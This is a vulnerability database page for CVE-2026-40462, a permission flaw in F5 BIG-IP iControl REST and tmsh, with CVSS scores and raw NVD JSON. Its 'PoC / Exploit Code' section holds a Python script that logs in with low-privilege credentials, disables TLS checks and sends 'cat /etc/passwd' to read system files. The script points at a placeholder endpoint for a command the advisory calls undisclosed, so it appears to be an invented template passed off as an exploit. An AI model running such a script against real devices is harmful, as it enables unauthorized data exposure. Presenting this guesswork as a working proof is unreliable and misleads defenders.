Security Vulnerability Report
中文
CVE-2026-40462 CVSS 6.5 MEDIUM

CVE-2026-40462

Published: 2026-05-13 16:16:43
Last Modified: 2026-05-13 17:16:20

Description

Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

F5 BIG-IP (具体受影响版本请参考官方公告 K000156581)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # F5 BIG-IP iControl REST Permission Misconfiguration PoC # Target: CVE-2026-40462 def check_vulnerability(target_ip, username, password): session = requests.Session() session.verify = False # Ignore SSL warnings for internal testing # 1. Authenticate to iControl REST API auth_url = f"https://{target_ip}/mgmt/shared/authn/login" auth_payload = { "username": username, "password": password, "loginProviderName": "tmos" } try: print("[*] Attempting authentication...") response = session.post(auth_url, json=auth_payload) if response.status_code != 200: print(f"[-] Authentication failed: {response.text}") return token = response.json().get('token', {}).get('token') headers = { "X-F5-Auth-Token": token, "Content-Type": "application/json" } print("[+] Authentication successful.") # 2. Exploit Permission Misassignment on Undisclosed Command # Note: Replace 'vulnerable_command_uri' with the actual endpoint found in the advisory exploit_url = f"https://{target_ip}/mgmt/tm/util/vulnerable_command_uri" # Payload attempting to read sensitive info exploit_payload = { "command": "run", "utilCmdArgs": "-c 'cat /etc/passwd'" # Example sensitive read } print(f"[*] Sending exploit payload to {exploit_url}...") exploit_response = session.post(exploit_url, headers=headers, json=exploit_payload) # 3. Check if sensitive info is returned if exploit_response.status_code == 200 and "root:" in exploit_response.text: print("[!] VULNERABILITY CONFIRMED: Sensitive data leaked!") print("[+] Response:", exploit_response.text) else: print("[-] Vulnerability not exploited or permission denied.") print("[-] Status Code:", exploit_response.status_code) except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": target = "192.168.1.1" # Replace with target IP user = "low_priv_user" # Replace with low-priv user pwd = "password" # Replace with password check_vulnerability(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40462", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:42.960", "lastModified": "2026-05-13T17:16:20.340", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000156581", "source": "[email protected]"}]}}